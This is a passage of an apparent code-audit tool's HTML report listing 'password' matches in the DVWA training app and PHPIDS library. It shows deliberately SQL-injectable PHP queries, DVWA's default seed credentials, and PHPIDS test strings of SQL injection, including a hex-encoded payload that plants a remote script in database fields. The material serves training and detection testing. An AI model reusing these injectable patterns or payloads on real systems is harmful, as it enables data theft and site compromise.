= mysql_real_escape_string($pass_new); 14- $pass_new = md5($pass_new); 15- 16: $insert="UPDATE `users` SET <span class='match_highlight'>password</span> = '$pass_new' WHERE user = 'admin';"; 17- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/help/help.php</span>:<span class='line_number'>16</span> <span class='match_count'>(9/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- 14- <p>The 'id' variable within this PHP script is vulnerable to SQL injection.</p> 15- 16: <p>There are 5 users in the database, with id's from 1 to 5. Your mission... to steal <span class='match_highlight'>password</span>s!</p> 17- 18- <p>If you have received a Magicquotes error, turn them off in php.ini.</p> 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>45</span> <span class='match_count'>(10/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- 43- <form action=\"#\" method=\"GET\"> 44- Username:<br><input type=\"text\" name=\"username\"><br> 45: Password:<br><input type=\"<span class='match_highlight'>password</span>\" AUTOCOMPLETE=\"off\" name=\"<span class='match_highlight'>password</span>\"><br> 46- <input type=\"submit\" value=\"Login\" name=\"Login\"> 47- </form> 48-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>7</span> <span class='match_count'>(11/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- 5- $user = $_GET['username']; 6- 7: $pass = $_GET['<span class='match_highlight'>password</span>']; 8- $pass = md5($pass); 9- 10: $qry = "SELECT * FROM `users` WHERE user='$user' AND <span class='match_highlight'>password</span>='$pass';"; 11- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 12- 13- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>19</span> <span class='match_count'>(12/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- $avatar = mysql_result( $result, $i, "avatar" ); 17- 18- // Login Successful 19: $html .= "<p>Welcome to the <span class='match_highlight'>password</span> protected area " . $user . "</p>"; 20- $html .= '<img src="' . $avatar . '" />'; 21- } else { 22- //Login failed 23: $html .= "<pre><br>Username and/or <span class='match_highlight'>password</span> incorrect.</pre>"; 24- } 25- 26- mysql_close();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>10</span> <span class='match_count'>(13/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- $user = stripslashes( $user ); 8- $user = mysql_real_escape_string( $user ); 9- 10: // Sanitise <span class='match_highlight'>password</span> input 11: $pass = $_GET[ '<span class='match_highlight'>password</span>' ]; 12- $pass = stripslashes( $pass ); 13- $pass = mysql_real_escape_string( $pass ); 14- $pass = md5( $pass ); 15- 16: $qry = "SELECT * FROM `users` WHERE user='$user' AND <span class='match_highlight'>password</span>='$pass';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>25</span> <span class='match_count'>(14/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>22- $avatar = mysql_result( $result, $i, "avatar" ); 23- 24- // Login Successful 25: $html .= "<p>Welcome to the <span class='match_highlight'>password</span> protected area " . $user . "</p>"; 26- $html .= '<img src="' . $avatar . '" />'; 27- } else { 28- // Login failed 29- sleep(3); 30: $html .= "<pre><br>Username and/or <span class='match_highlight'>password</span> incorrect.</pre>"; 31- } 32- 33- mysql_close();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>9</span> <span class='match_count'>(15/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- $user = $_GET[ 'username' ]; 7- $user = mysql_real_escape_string( $user ); 8- 9: // Sanitise <span class='match_highlight'>password</span> input 10: $pass = $_GET[ '<span class='match_highlight'>password</span>' ]; 11- $pass = mysql_real_escape_string( $pass ); 12- $pass = md5( $pass ); 13- 14: $qry = "SELECT * FROM `users` WHERE user='$user' AND <span class='match_highlight'>password</span>='$pass';"; 15- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 16- 17- if( $result && mysql_num_rows($result) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>23</span> <span class='match_count'>(16/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- $avatar = mysql_result( $result, $i, "avatar" ); 21- 22- // Login Successful 23: $html .= "<p>Welcome to the <span class='match_highlight'>password</span> protected area " . $user . "</p>"; 24- $html .= '<img src="' . $avatar . '" />'; 25- } else { 26- //Login failed 27: $html .= "<pre><br>Username and/or <span class='match_highlight'>password</span> incorrect.</pre>"; 28- } 29- 30- mysql_close();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/help/help.php</span>:<span class='line_number'>9</span> <span class='match_count'>(17/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <tr> 7- <td><div id="code"> 8- 9: <p>Password cracking is the process of recovering <span class='match_highlight'>password</span>s from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the <span class='match_highlight'>password</span>.</p> 10- 11: <p>Users often choose weak <span class='match_highlight'>password</span>s. Examples of insecure choices include single words found in dictionaries, given and family names, any too short <span class='match_highlight'>password</span> 12: (usually thought to be 6 or 7 characters or less), or any <span class='match_highlight'>password</span> meeting a too restrictive and so predictable, pattern (eg, alternating vowels and consonants).</p> 13- 14: <p>A last resort is to try every possible <span class='match_highlight'>password</span>, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always 15: be successful since the rules for acceptable <span class='match_highlight'>password</span>s must be publicly known; but as the length of the <span class='match_highlight'>password</span> increases, so does the number of possible <span class='match_highlight'>password</span>s.</p> 16- 17- </div></td> 18- </tr></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/help/help.php</span>:<span class='line_number'>16</span> <span class='match_count'>(18/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- 14- <p>The 'id' variable within this PHP script is vulnerable to SQL injection.</p> 15- 16: <p>There are 5 users in the database, with id's from 1 to 5. Your mission... to steal <span class='match_highlight'>password</span>s!</p> 17- 18- <p>If you have received a Magicquotes error, turn them off in php.ini.</p> 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>624</span> <span class='match_count'>(19/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>621- $exploits[] = 'aaa\' or (1)=(1) #!asd'; 622- $exploits[] = 'aaa\' OR (1) IS NOT NULL #!asd'; 623- $exploits[] = 'a\' or 1=\'1'; 624: $exploits[] = 'asd\' union (select username,<span class='match_highlight'>password</span> from admins) where id=\'1'; 625- $exploits[] = "1'; WAITFOR TIME '17:48:00 ' shutdown -- -a"; 626- $exploits[] = "1'; anything: goto anything -- -a"; 627- $exploits[] = "' =+ '";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>715</span> <span class='match_count'>(20/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>712- $exploits[] = "' OR UserID > 1"; 713- $exploits[] = "' OR UserID RLIKE '.+' "; 714- $exploits[] = "'OR UserID <> 2"; 715: $exploits[] = "1' union (select <span class='match_highlight'>password</span> from users) -- -a"; 716: $exploits[] = "1' union (select'1','2',<span class='match_highlight'>password</span> from users) -- -a"; 717: $exploits[] = "1' union all (select'1',<span class='match_highlight'>password</span> from users) -- -a"; 718- $exploits[] = "aa'!='1"; 719- $exploits[] = "aa'!=~'1"; 720- $exploits[] = "aa'=('aa')#(";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>895</span> <span class='match_count'>(21/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>892- $exploits = array(); 893- 894- $exploits[] = "asd'; shutdown; "; 895: $exploits[] = "asd'; select null,<span class='match_highlight'>password</span>,null from users; "; 896- $exploits[] = "aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user OPEN tablecursor "; 897- $exploits[] = "aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b 898- where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>906</span> <span class='match_count'>(22/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>903- CLOSE tablecursor DEALLOCATE tablecursor; 904- and some text, to get pass the centrifuge; and some more text."; 905- $exploits[] = "@query = null+null+null+ ' UPDATE '+null+@a+ ' SET[ '+null+@b+ ' ] = @payload'"; 906: $exploits[] = "asd' union distinct(select null,<span class='match_highlight'>password</span>,null from users)--a "; 907: $exploits[] = "asd' union distinct ( select null,<span class='match_highlight'>password</span>,(null)from user )-- a "; 908- $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; 909- $exploits[] = "asaa';SELECT[asd]FROM[asd]"; 910- $exploits[] = "asd'; select [column] from users "; 911: $exploits[] = "0x31 union select @@version,username,<span class='match_highlight'>password</span> from users "; 912- $exploits[] = "1 order by if(1<2 ,uname,uid) "; 913- $exploits[] = "1 order by ifnull(null,userid) "; 914- $exploits[] = "2' between 1 and 3 or 0x61 like 'a";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>919</span> <span class='match_count'>(23/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>916- $exploits[] = "-1' /ID having 1< 1 and 1 like 1/'1 "; 917- $exploits[] = "2' / 0x62 or 0 like binary '0"; 918- $exploits[] = "0' between 2-1 and 4-1 or 1 sounds like binary '1 "; 919: $exploits[] = "-1' union ((select (select user),(select <span class='match_highlight'>password</span>),1/1 from mysql.user)) order by '1 "; 920- $exploits[] = "-1' or substring(null/null,1/null,1) or '1"; 921- $exploits[] = "1' and 1 = hex(null-1 or 1) or 1 /'null "; 922-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>213</span> <span class='match_count'>(24/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>210- // validate connection parameters 211- if (!$this->config['wrapper'] 212- || !$this->config['user'] 213: || !$this->config['<span class='match_highlight'>password</span>'] 214- || !$this->config['table']) { 215- 216- throw new Exception('</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>226</span> <span class='match_count'>(25/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>223- $handle = new PDO( 224- $this->config['wrapper'], 225- $this->config['user'], 226: $this->config['<span class='match_highlight'>password</span>'] 227- ); 228- 229- } catch (PDOException $e) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Input.php</span>:<span class='line_number'>21</span> <span class='match_count'>(26/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- if (isset($attr['checked']) && $t !== 'radio' && $t !== 'checkbox') { 19- unset($attr['checked']); 20- } 21: if (isset($attr['maxlength']) && $t !== 'text' && $t !== '<span class='match_highlight'>password</span>') { 22- unset($attr['maxlength']); 23- } 24: if (isset($attr['size']) && $t !== 'text' && $t !== '<span class='match_highlight'>password</span>') { 25- $result = $this->pixels->validate($attr['size'], $config, $context); 26- if ($result === false) unset($attr['size']); 27- else $attr['size'] = $result;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Forms.php</span>:<span class='line_number'>40</span> <span class='match_count'>(27/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>37- 'size' => 'Number', 38- 'src' => 'URI#embeds', 39- 'tabindex' => 'Number', 40: 'type' => 'Enum#text,<span class='match_highlight'>password</span>,checkbox,button,radio,submit,reset,file,hidden,image', 41- 'value' => 'CDATA', 42- )); 43- $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>93</span> <span class='match_count'>(28/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>90- private $user = null; 91- 92- /** 93: * Database <span class='match_highlight'>password</span> 94- * 95- * @var string 96- */ 97: private $<span class='match_highlight'>password</span> = null; 98- 99- /** 100- * Database table</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>152</span> <span class='match_count'>(29/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>149- if ($config instanceof IDS_Init) { 150- $this->wrapper = $config->config['Logging']['wrapper']; 151- $this->user = $config->config['Logging']['user']; 152: $this-><span class='match_highlight'>password</span> = $config->config['Logging']['<span class='match_highlight'>password</span>']; 153- $this->table = $config->config['Logging']['table']; 154- 155- } elseif (is_array($config)) { 156- $this->wrapper = $config['wrapper']; 157- $this->user = $config['user']; 158: $this-><span class='match_highlight'>password</span> = $config['<span class='match_highlight'>password</span>']; 159- $this->table = $config['table']; 160- } 161-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>173</span> <span class='match_count'>(30/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>170- $this->handle = new PDO( 171- $this->wrapper, 172- $this->user, 173: $this-><span class='match_highlight'>password</span> 174- ); 175- 176- $this->statement = $this->handle->prepare('</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>538</span> <span class='match_count'>(31/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>535- 536- if ($DBMS == 'MySQL') { 537- 538: if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_<span class='match_highlight'>password</span>' ] ) 539- || !@mysql_select_db( $_DVWA[ 'db_database' ] ) ) { 540- die( $DBMS_connError ); 541- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>547</span> <span class='match_count'>(32/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>544- 545- elseif ($DBMS == 'PGSQL') { 546- 547: $dbconn = pg_connect("host=".$_DVWA[ 'db_server' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." <span class='match_highlight'>password</span>=".$_DVWA[ 'db_<span class='match_highlight'>password</span>' ]) 548- or die( $DBMS_connError ); 549- 550- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>10</span> <span class='match_count'>(33/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7-*/ 8- 9-// Connect to server 10:if ( !@pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." user=".$_DVWA[ 'db_user' ]." <span class='match_highlight'>password</span>=".$_DVWA[ 'db_<span class='match_highlight'>password</span>' ]) ) { 11- dvwaMessagePush( "Could not connect to the database - please check the config file." ); 12- dvwaPageReload(); 13-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>34</span> <span class='match_count'>(34/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- 32- 33-// Connect to server AND connect to the database 34:$dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." <span class='match_highlight'>password</span>=".$_DVWA[ 'db_<span class='match_highlight'>password</span>' ]); 35- 36- 37-// Create table 'users'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>46</span> <span class='match_count'>(35/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>43- dvwaPageReload(); 44-} 45- 46:$create_tb = "CREATE TABLE users (user_id integer UNIQUE, first_name text, last_name text, username text, <span class='match_highlight'>password</span> text, avatar text, PRIMARY KEY (user_id));"; 47- 48-if( !pg_query( $create_tb ) ){ 49- dvwaMessagePush( "Table could not be created<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>61</span> <span class='match_count'>(36/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>58-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 59- 60-$insert = "INSERT INTO users VALUES 61: ('1','admin','admin','admin',MD5('<span class='match_highlight'>password</span>'),'{$baseUrl}admin.jpg'), 62- ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'), 63- ('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'), 64- ('4','Pablo','Picasso','pablo',MD5('letmein'),'{$baseUrl}pablo.jpg'), 65: ('5','bob','smith','smithy',MD5('<span class='match_highlight'>password</span>'),'{$baseUrl}smithy.jpg');"; 66-if( !pg_query( $insert ) ){ 67- dvwaMessagePush( "Data could not be inserted into 'users' table<br />SQL: " . pg_last_error() ); 68- dvwaPageReload();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>21</span> <span class='match_count'>(37/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- } 19- 20- function db_login( $user,$pass ) { 21: $login = "SELECT * FROM `users` WHERE user='$user' AND <span class='match_highlight'>password</span>='$pass';"; 22- 23- $result = @mysql_query($login) or die('<pre>' . mysql_error() . '</pre>' ); 24-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>45</span> <span class='match_count'>(38/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- } 43- 44- function db_login( $user,$pass ) { 45: $login = "SELECT * FROM users WHERE username='$user' AND <span class='match_highlight'>password</span>='$pass';"; 46- 47- $result = @pg_query( $login ) or die('<pre>' . pg_last_error() . '</pre>'); 48-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>77</span> <span class='match_count'>(39/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>74- global $DBMS_connError; 75- 76- if ($DBMS == 'MySQL') { 77: if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_<span class='match_highlight'>password</span>' ] ) 78- || !@mysql_select_db( $_DVWA[ 'db_database' ] ) ) { 79- die( $DBMS_connError ); 80- } 81- } 82- 83- elseif ($DBMS == 'PGSQL') { 84: $dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." <span class='match_highlight'>password</span>=".$_DVWA[ 'db_<span class='match_highlight'>password</span>' ]) 85- or die( $DBMS_connError ); 86- } 87-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>9</span> <span class='match_count'>(40/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- 7-*/ 8- 9:if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_<span class='match_highlight'>password</span>' ] ) ) { 10- dvwaMessagePush( "Could not connect to the database - please check the config file." ); 11- dvwaPageReload(); 12-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>36</span> <span class='match_count'>(41/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>33- dvwaPageReload(); 34-} 35- 36:$create_tb = "CREATE TABLE users (user_id int(6),first_name varchar(15),last_name varchar(15), user varchar(15), <span class='match_highlight'>password</span> varchar(32),avatar varchar(70), PRIMARY KEY (user_id));"; 37-if( !mysql_query( $create_tb ) ){ 38- dvwaMessagePush( "Table could not be created<br />SQL: ".mysql_error() ); 39- dvwaPageReload();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>52</span> <span class='match_count'>(42/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>49-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 50- 51-$insert = "INSERT INTO users VALUES 52: ('1','admin','admin','admin',MD5('<span class='match_highlight'>password</span>'),'{$baseUrl}admin.jpg'), 53- ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'), 54- ('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'), 55- ('4','Pablo','Picasso','pablo',MD5('letmein'),'{$baseUrl}pablo.jpg'), 56: ('5','Bob','Smith','smithy',MD5('<span class='match_highlight'>password</span>'),'{$baseUrl}smithy.jpg');"; 57-if( !mysql_query( $insert ) ){ 58- dvwaMessagePush( "Data could not be inserted into 'users' table<br />SQL: ".mysql_error() ); 59- dvwaPageReload();</code></pre> </div> </div> </div> </div> <div class='signature_67b3dba8bc6778101892eb77249db32e signature_group_custom_strings signature_group'> <a name='s-67b3dba8bc6778101892eb77249db32e'></a> <h3> <code>host</code> <span class='signature_count'>(29)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","67b3dba8bc6778101892eb77249db32e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./index.php</span>:<span class='line_number'>25</span> <span class='match_count'>(1/29)</span> <span class='poi_mark_content'> <a 